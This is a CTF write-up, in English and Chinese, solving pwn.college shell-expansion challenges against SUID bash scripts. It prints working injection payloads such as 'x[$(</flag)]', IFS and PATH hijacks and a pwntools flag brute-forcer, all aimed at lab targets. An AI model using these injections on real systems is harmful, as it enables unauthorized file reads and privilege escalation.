PwnCollege - The Art of the Shell - Abusing Expansion

The shell is as mysterious as it is powerful. As a first stop in our journey, we will explore concepts of variable expansion, the pitfalls around quoting (and lack thereof!), and the raw power of globbing. Stay strong, and follow the PATH.

The Surprising Swap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
ubuntu@first~the-surprising-swap:~$ echo "/bin/cat /flag" > pong
ubuntu@first~the-surprising-swap:~$ ls
2 Desktop Downloads a.py cse240 d.py fortune leap pong public_html pwn_script scripts
ubuntu@first~the-surprising-swap:~$ realpath pong
/home/hacker/pong
ubuntu@first~the-surprising-swap:~$ export PATH=/home/hacker/pong:$PATH
ubuntu@first~the-surprising-swap:~$ exec -a /bin/sh /challenge/run ping
pinged!

pwn.college{****************************************}

Connected!
ubuntu@first~the-surprising-swap:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@first~the-surprising-swap:~$ cat /challenge/run-actual
#!/bin/bash

[ "$1" == "ping" ] && echo "pinged!" && read && "$0" pong
[ "$1" == "pong" ] && echo "ponged!"

Path of the Unquoted

在 Shell 中,如果变量 $1 没有被双引号包裹,它会经历 Word Splitting(单词拆分)。

可以利用 Shell 的通配符(Globbing)或者逻辑判断来绕过检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@expansion~path-of-the-unquoted:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

PATH=/usr/bin

[ -n "$1" ] || exit 1
[ "$1" = "flag" ] && exit 2
[ $1 = "flag" ] && cat /flag

echo "Goodbye!"
ubuntu@expansion~path-of-the-unquoted:~$ ta
no sessions
[exited]
ubuntu@expansion~path-of-the-unquoted:~$ /challenge/run 'a -o a'
pwn.college{****************************************}
Goodbye!

判断 1: a 是否为非空字符串?(结果:True)

操作符: -o (OR)

判断 2: a 是否等于 “flag”?(结果:False)

结果: True OR False 等于 True。

Globbing Harmony

1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@expansion~globbing-harmony:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

PATH=/usr/bin
cd /tmp
cat /flag | tr -d [A-Za-z0-9]
ubuntu@expansion~globbing-harmony:~$ /challenge/run
.{-.}
ubuntu@expansion~globbing-harmony:~$ cd /tmp
ubuntu@expansion~globbing-harmony:/tmp$ touch a
ubuntu@expansion~globbing-harmony:/tmp$ /challenge/run
pwn.college{****************************************}

输入 tr -d [A-Za-z0-9] 时,Shell 在执行 tr 之前会检查当前目录。

Globbing 匹配文件名 a。

自动展开:正则模式 [A-Za-z0-9] 匹配到了文件 a。命令展开成了:

1
echo "a" | tr -d a

Zen of Expansion

word splitting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@expansion~zen-of-expansion:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

pretty_cat () {
HEADER="Here is /etc/passwd!"
FILE="/etc/passwd"
[ -n "$1" ] && HEADER="$1" && shift
[ -n "$1" ] && FILE="$1" && shift

echo "####### $HEADER ########"
cat "$FILE"
}

[ "$#" -eq 1 ] || exit 1
pretty_cat $*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
脚本通过 `[ "$#" -eq 1 ] || exit 1` 限制只能传入一个参数。

传入一个带有空格的字符串,比如 "FLAG /flag"。对于外层脚本来说是一个完整的参数,`$#` 等于 1

当执行 `pretty_cat $*` 时,因为 `$*` 没有双引号保护,Bash 会根据空格将其拆分,传给 `pretty_cat` 的参数变成两个:

$1 = FLAG
$2 = /flag

在 pretty_cat 函数内部:

第一个 [ -n "$1" ] 命中,HEADER="FLAG",然后 shift。

在 shell 脚本中,当你从命令行传入参数时,它们会被依次存放在位置变量(positional parameters)中:$1, $2, $3 等等。

shift 命令的作用非常纯粹:把所有的位置参数向左“平移”一位, 系统的参数总数计数器 $# 也会自动减 1

第二个 [ -n "$1" ] 再次命中(现在的 $1 是刚才的 $2),FILE="/flag",然后再 shift。

最后执行 cat "$FILE",也就是 cat /flag
1
2
3
ubuntu@expansion~zen-of-expansion:~$ /challenge/run "FLAG /flag"
####### FLAG ########
pwn.college{****************************************}

Way of the Wildcard

Pattern Matching

在 Bash 的 [[]] 中,如果等号 =(或 ==)右边的变量没有被双引号包围,Bash 不会执行单纯的字符串比对,而是把它当作一个 Globbing Pattern(通配符模式) 来处理。

1
2
3
4
5
6
7
8
9
10
11
ubuntu@expansion~way-of-the-wildcard:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

read FLAG < /flag
[[ "$FLAG" = $1 ]] && cat /flag
echo "Goodbye!"
ubuntu@expansion~way-of-the-wildcard:~$ /challenge/run "*"
pwn.college{****************************************}
Goodbye!

Saga of the Sneaky Similarity

word splitting

1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@expansion~saga-of-the-sneaky-similarity:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
CHALLENGE=$RANDOM$RANDOM$RANDOM

[ -n "$1" ] || exit 1
[ $1 -eq "$CHALLENGE" ] && cat /flag
echo "Goodbye!"
ubuntu@expansion~saga-of-the-sneaky-similarity:~$ /challenge/run "1 -eq 1 -o 1"
pwn.college{****************************************}
Goodbye!

Enigma of the Environment

declare 是用来声明或修改变量的。脚本的本意是让你通过 $1 和 $2 设置一个临时的环境变量,接着运行 $PROGRAM(在前面被硬编码成了 $WORKDIR/fortune)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 1
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

declare -- "$1"="$2"
$PROGRAM
ubuntu@expansion~enigma-of-the-environment:~$ /challenge/run PROGRAM "/bin/cat /flag" fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
pwn.college{****************************************}

Voyage of the Variable

对一个变量进行赋值时,Bash 在底层把它当作索引为 0 的数组元素处理。

字符串比对:“PROGRAM[0]” = “PROGRAM” 是 False

变量声明:declare – “PROGRAM[0]”=“$2” 被执行。这会直接修改(或者说覆盖)PROGRAM 变量的第 0 项数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ubuntu@expansion~voyage-of-the-variable:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 3
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

[ "$1" = "PROGRAM" ] && exit 4
declare -- "$1"="$2"
$PROGRAM
ubuntu@expansion~voyage-of-the-variable:~$ /challenge/run "PROGRAM[0]" "/bin/cat /flag" fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
pwn.college{****************************************}

Dance of the Delimiters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@expansion~dance-of-the-delimiters:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 3
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

[[ "$1" = *PROGRAM* ]] && exit 4
declare -- "$1"="$2"
$PROGRAM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Bash 中,任何未被双引号包裹的变量在展开后,都会触发 Word Splitting (分词)。而分词的规则依据,就是环境变量 IFS (Internal Field Separator, 内部字段分隔符)。

脚本使用了 mktemp -d。在普通的 GNU coreutils 环境下,它默认会在 /tmp 目录下创建一个类似于 /tmp/tmp.XXXXXX 的目录。

所以,$PROGRAM 的完整字符串是:/tmp/tmp.XXXXXX/fortune。

如果我们利用 declare -- "$1"="$2" 把 IFS 变量修改为 .

当 Bash 试图执行 $PROGRAM 时,它会根据点号将 /tmp/tmp.XXXXXX/fortune 切割成两部分:

第一个词:/tmp/tmp

第二个词:XXXXXX/fortune

Bash 会把第一个词 /tmp/tmp 当作可执行命令,把第二个词当作参数传给它。而 /tmp 目录对普通用户是完全可写的!这意味着,我们只需要在 /tmp/tmp 这个位置放一个我们自己写的 Payload,整个系统的执行流就被我们彻底接管了。
1
2
3
4
5
6
7
ubuntu@expansion~dance-of-the-delimiters:~$ echo '#!/bin/bash' > /tmp/tmp
ubuntu@expansion~dance-of-the-delimiters:~$ echo 'cat /flag' >> /tmp/tmp
ubuntu@expansion~dance-of-the-delimiters:~$ chmod +x /tmp/tmp
ubuntu@expansion~dance-of-the-delimiters:~$ /challenge/run IFS "." fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
pwn.college{****************************************}

Symphony of Separation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@expansion~symphony-of-separation:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d /tmp/tmpXXXXXXX) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 3
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

[[ "$1" = *PROGRAM* ]] && exit 4
declare -- "$1"="$2"
$PROGRAM
1
2
3
在 Bash 的底层机制中,当 declare(或 let、unset 等内置命令)处理数组赋值时,它会把方括号内的索引 (index) 作为一个算术表达式 (Arithmetic Expression) 进行求值。算术求值允许命令替换 (Command Substitution)

如果传入一个形如 array[$(command)] 的变量名,当 declare 试图解析这个数组下标时,它会直接执行里面的 $(command)
1
2
3
4
5
ubuntu@expansion~symphony-of-separation:~$ /challenge/run 'x[$(/bin/cat /flag)]' 1 fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
/challenge/run: line 20: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")
Today is the last day of your life so far.

Saga of Sanitization

算术求值报错 (Arithmetic Evaluation Error)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ubuntu@expansion~saga-of-sanitization:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d /tmp/tmpXXXXXXX) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 3
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

BADCHARS=$' \n\t='
VARIABLE="${1//[$BADCHARS]*/}"
[[ -v "$VARIABLE" ]] && exit 6
declare -- "$VARIABLE"="$2"
$PROGRAM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Bash 有一个内置的特性:$(<file)。它的作用完全等同于 $(cat file)

传入的参数是 'x[$(</flag)]'。它没有空格,没有 \n,没有 \t,没有 =

脚本执行到 [[-v "$VARIABLE"]] 或 declare 时,试图解析数组 x 的下标。

它遇到 $(</flag),立刻读取 /flag 的内容

变量名在底层被展开为 x[pwn.college{...}]。

Bash 试图把 pwn.college{...} 当作一个数学公式来计算

显然,这不是一个合法的数学公式。
bash: pwn.college{...}: syntax error: operand expected...
1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@expansion~saga-of-sanitization:~$ /challenge/run 'x[$(</flag)]' 1 fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
/challenge/run: line 21: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")
/challenge/run: line 22: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")
To be or not to be.
-- Shakespeare
To do is to be.
-- Nietzsche
To be is to do.
-- Sartre
Do be do be do.
-- Sinatra

Tale of the Test

Arithmetic Evaluation Error

-eq、-ne、-lt 等数字比较操作符,会强制对操作数触发算术求值 (Arithmetic Evaluation)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@expansion~tale-of-the-test:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

if [[ "$#" -ne 1 ]]
then
echo "Usage: $0 SKILL_LEVEL"
exit 1
fi

if [[ "$1" -eq 1337 ]]
then
echo "Not skilled enough!"
exit 2
fi

echo "You are quite skilled!"
1
2
3
ubuntu@expansion~tale-of-the-test:~$ /challenge/run 'x[$(</flag)]'
/challenge/run: line 9: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")
You are quite skilled!

Your Shattered Sanity

word splitting

Arithmetic Evaluation Error

当 -v 操作符去检查一个带有数组下标的变量时(例如 -v var[index]),为了确定具体的下标是多少,Bash 会强制对 index 进行算术求值 (Arithmetic Evaluation)

1
2
3
4
ubuntu@expansion~your-shattered-sanity:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

[ -f $1 ] && echo "It exists!"
1
2
3
4
5
-f /challenge/run:判断文件是否存在。传入脚本自己的绝对路径,确保这个条件为 True。

-a:逻辑与 (AND) 运算符。

-v x[$(</flag)]:既然左边为 True,[ 就会去计算右边。它检查数组 x 的下标,从而触发算术求值
1
2
ubuntu@expansion~your-shattered-sanity:~$ /challenge/run '/challenge/run -a -v x[$(</flag)]'
/challenge/run: line 3: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

Untrustworthy Utterances

word splitting

Arithmetic Evaluation Error

but in a file this time

1
2
3
4
5
6
ubuntu@expansion~untrustworthy-utterances:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/bin

[ $(cat "$1") = $(cat /flag) ] && echo "Got it!"
1
2
3
4
ubuntu@expansion~untrustworthy-utterances:~$ cat /tmp/tmp
-v x[$(</flag)] -o
ubuntu@expansion~untrustworthy-utterances:~$ /challenge/run /tmp/tmp
/challenge/run: line 5: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

Echoes in Silence

1
2
3
4
5
6
7
ubuntu@expansion~echoes-in-silence:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# Thanks to livz for contributing this challenge!
PATH=/bin

[[ $(cat /flag) = $(cat "$1") ]] && echo "Got it!"

word splitting

globbing

1
[[ pwn.college{... = pwn.college* ]]
1
2
3
ubuntu@expansion~echoes-in-silence:~$ df -h /dev/shm
Filesystem Size Used Avail Use% Mounted on
shm 64M 0 64M 0% /dev/shm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import string

from pwn import *

import itertools

context.log_level = 'error'

charset = string.printable.strip().replace("*", "").replace("?", "")
flag = "pwn.college{"

for attempt in itertools.count(start=1):
print(f"Attempt {attempt}: {flag}")
for c in charset:
# 用 /dev/shm 来传递数据提高 I/O 速度
# or /tmp
with open("/dev/shm/tmp", "w") as f:
f.write(flag + c + "*")
p = process(["/challenge/run", "/dev/shm/tmp"])
if b"Got it!" in p.recvall(timeout=1):
flag += c
if "}" == c:
print(f"\n[+] Flag: {flag}")
exit(0)
break

# pwn.college{****************************************}

Masquerade of the Self

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
ubuntu@expansion~masquerade-of-the-self:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@expansion~masquerade-of-the-self:~$ cat /challenge/run-actual
#!/bin/bash

PATH=/usr/bin

case "$1" in
"hi")
echo hello
;;
"bye")
echo ciao
;;
"help")
echo "Usage: $0 ( hi | bye )"
;;
*)
echo "Invalid command: $1"
$0 help
;;
esac

change $0 to /bin/sh

$0 help -> /bin/sh help

/bin/sh 就会去当前目录下寻找一个叫做 help 的文件并把它当作 shell script 执行

1
2
3
4
5
ubuntu@expansion~masquerade-of-the-self:~$ echo 'cat /flag' > help
ubuntu@expansion~masquerade-of-the-self:~$ chmod +x help
ubuntu@expansion~masquerade-of-the-self:~$ bash -c "exec -a /bin/sh /challenge/run pwn"
Invalid command: pwn
pwn.college{****************************************}

Journey of the PATH

1
2
3
4
5
6
7
8
9
10
ubuntu@expansion~journey-of-the-path:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
[ -n "$1" ] || exit

GUESSFILE=$(mktemp)

printf $1 > $GUESSFILE
grep -f /flag < $GUESSFILE || echo Goodbye!

word splitting

1
printf $1 > $GUESSFILE

Bash 的 printf 命令有一个选项:-v var

它的作用是:不把格式化结果输出到标准输出 (stdout),而是直接将结果赋值给名为 var 的变量

要完成利用,我们需要借助 Bash 处理命令行的固定顺序:先变量展开 (Expansion) -> 再处理重定向 (Redirection) -> 最后执行命令 (Execution)

假设向这个 SUID 脚本传入这样的参数:"-v GUESSFILE /flag"

脚本执行到 printf $1 > $GUESSFILE 时,$1 被替换成了 -v GUESSFILE /flag,而 $GUESSFILE 此时还是 mktemp 生成的临时文件路径(比如 /tmp/tmp.XXXXX)。 此时,Bash 看到 > /tmp/tmp.XXXXX,于是打开这个临时文件,准备接收 stdout 的输出。

准备好重定向后,真正执行的命令实际上变成了这样:

1
printf -v GUESSFILE /flag

printf 注入了 -v GUESSFILE 选项,没有向 stdout 输出。相反,它将当前 Shell 进程中的 GUESSFILE 变量的值,改写成了字符串 /flag

1
grep -f /flag < $GUESSFILE

这一行展开后:

1
grep -f /flag < /flag

grep 被要求从 /flag 文件中读取匹配模式 (Pattern),然后在 /flag 文件中去,每一行必然与它自身匹配

1
2
ubuntu@expansion~journey-of-the-path:~$ /challenge/run "-v GUESSFILE /flag"
pwn.college{****************************************}

Secrets of the Shell

arithmetic evaluation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ubuntu@expansion~secrets-of-the-shell:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

CHALLENGE=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
RESPONSE="$1"

# This disables command injection. If you can find a bypass of it, let Zardus know!
set -T
readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == CHALLENGE ))
then
echo "Success! Here's part of the flag:"
cat /flag | head -c10
else
echo "Wrong!"
cat /flag | md5sum
fi
1

用 set -T 开启了调试继承,并用 trap '[[$BASH_SUBSHELL -gt 0]] && exit' DEBUG 禁用所有 Subshell

$() 在 Bash 术语中被称为 Command Substitution (命令替换)

从操作系统层面来看,每当你使用 $(),Bash 都会隐式地调用底层的 fork() 系统调用,复制出一个全新的子进程环境——这就是我们常说的 Subshell (子 Shell)

既然存在 Subshell,Bash 就需要一种机制来知道自己当前处于第几层

$BASH_SUBSHELL 就是这样一个内置的(builtin)只读变量:

  • 在最顶层的父 Shell 中,它的值是 0
  • 当你进入第一层 $() 时,它自增变成 1
  • 如果你在 $() 里再套一个 $(),它就变成 2,以此类推。

trap 命令是用来捕捉系统信号(Signals)的。但挂载在 DEBUG 这个伪信号(pseudo-signal)上的 trap 非常特殊。

它意味着:在当前 Shell 环境下,每一条简单命令 (Simple Command) 真正被执行之前,都会先强制执行一遍 trap 里面定义的代码。

在这个脚本里,执行的代码是 [[ $BASH_SUBSHELL -gt 0 ]] && exit。如果在 Subshell 里运行(层级大于 0),就 exit

默认情况下,主 Shell 中设置的 DEBUG trap,是不会被 Subshell 或 Shell 函数继承的

加上了 set -T (全称是 set -o functrace)。强制要求所有的 Command Substitutions ($())、Shell Functions 和 Subshell environments,继承父进程的 DEBUG trap

$() 注入恶意命令时,系统底层到底发生了什么:

  1. 输入了包含 $(cat /flag) 的 payload。
  2. Bash 解析到 $(),调用 fork() 创建 Subshell。此时 $BASH_SUBSHELL 的值变为 1
  3. 准备在子进程中执行 cat /flag
  4. 触发 set -T 机制:Subshell 强制继承了父辈的 DEBUG trap。
  5. cat /flag 执行前,trap 被触发。
  6. Subshell 开始执行 trap 代码:[[ $BASH_SUBSHELL -gt 0 ]]
  7. 系统一查,当前层级是 1,1 > 0 成立!
  8. 执行 && 后面的 exit
1
2
3
4
5
6
7
8
9
10
11
(( ... )) 的上下文中,Bash 允许动态的变量赋值

Bash 在执行 (( PATH=0 == CHALLENGE )) 时,会将环境变量 PATH 修改为字符串 "0"。

赋值表达式 PATH=0 返回 0,而 0 == CHALLENGE 显然为 false(因为 $RANDOM 串大概率不是 0)。

脚本走进 else 分支。

接下来它要执行 cat 和 md5sum。此时 PATH 变成了 0。在 Linux 路径解析法则中,没有任何前缀的 0 指代的是相对于当前目录的一个名为 0 的文件夹 (即 ./0/)。

Bash 会去 ./0/cat 和 ./0/md5sum 寻找这两个二进制程序
1
2
3
4
5
6
7
ubuntu@expansion~secrets-of-the-shell:~$ mkdir 0
ubuntu@expansion~secrets-of-the-shell:~$ ln -s /usr/bin/cat 0/cat
ubuntu@expansion~secrets-of-the-shell:~$ ln -s /usr/bin/cat 0/md5sum
ubuntu@expansion~secrets-of-the-shell:~$ ln -s /usr/bin/cat 0/head
ubuntu@expansion~secrets-of-the-shell:~$ /challenge/run "PATH=0"
Wrong!
pwn.college{****************************************}

The Swap, Scheming

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ubuntu@expansion~the-swap-scheming:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# props to HyperCube for the idea for this challenge

# HINT: This challenge uses /bin/bash. Double-check which bash you do your prep work in...

PATH=/usr/bin
RESPONSE="$1"

exec 2>/dev/null # props to amateurhour for this unintended solve

# This disables command injection. If you can find a bypass of it, let Zardus know!
set -T
readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == RANDOM ))
then
echo "Success!"
cat /flag
else
echo "Wrong!"
rm /flag
fi

在 Bash 中,RANDOM 并不是真正的随机,它是一个 PRNG (伪随机数生成器)。如果你尝试给 RANDOM 赋值,你实际上是在设置它的随机数种子 (Seed)!只要种子固定,接下来生成的随机数序列就是 100% 确定的。而且,不同的 Bash 版本(比如 Bash 4.x 和 5.x)用同一个种子生成的第一个随机数可能会不同,这就是为什么提示让你在 /bin/bash 里做准备。

在 Bash 的算术求值 (( … )) 中,我们可以使用逗号表达式 (Comma Operator)。逗号表达式会按顺序执行各个部分,并以最后一个表达式的结果作为最终的真假值。

1
2
3
ubuntu@expansion~the-swap-scheming:~$ /challenge/run "RANDOM=0, $(bash -c 'RANDOM=0; echo $RANDOM')"
Success!
pwn.college{****************************************}

Shell Sorcery

arithmetic evaluation

recursive variable evaluation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@expansion~shell-sorcery:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

CHALLENGE=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
readonly CHALLENGE
RESPONSE="$1"

# This disables command injection. If you can find a bypass of it, let Zardus know!
set -T
readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == CHALLENGE ))
then
echo "Success!"
cat /flag
else
echo "Wrong!"
#cat /flag | md5sum
fi

Bash 准备计算等式左边。它读取 $RESPONSE,得到了字符串 “CHALLENGE”。

Bash 再次去内存里寻找名为 CHALLENGE 的变量的值

1
2
3
ubuntu@expansion~shell-sorcery:~$ /challenge/run "CHALLENGE"
Success!
pwn.college{****************************************}

The Commanded Condition

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ubuntu@expansion~the-commanded-condition:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

CHALLENGE=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
RESPONSE="$1"

# Alright, go for it.
#set -T
#readonly BASH_SUBSHELL
#trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == CHALLENGE ))
then
echo "Success!"
#cat /flag
else
echo "Wrong!"
#cat /flag | md5sum
fi
1
2
ubuntu@expansion~the-commanded-condition:~$ /challenge/run 'x[$(</flag)]'
/challenge/run: line 13: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

The Dreadful Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ubuntu@expansion~the-dreadful-discovery:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

CHALLENGE=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
RESPONSE="$1"

# Can you see what HAL50000 saw?
set -T
#readonly BASH_SUBSHELL
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == CHALLENGE ))
then
echo "Success!"
#cat /flag
else
echo "Wrong!"
#cat /flag | md5sum
fi
1
2
ubuntu@expansion~the-dreadful-discovery:~$ /challenge/run 'BASH_SUBSHELL=0, x[$(</flag)]'
/challenge/run: line 13: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

Index of Insanity

Array Subscript Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@expansion~index-of-insanity:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

PROPAGANDA=(
"bash is good"
"bash is great"
"bash is wonderful"
)

INDEX="$1"
echo "Your chosen bash affirmation is: ${PROPAGANDA[$INDEX]}"
1
2
ubuntu@expansion~index-of-insanity:~$ /challenge/run 'x[$(</flag)]'
/challenge/run: line 12: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")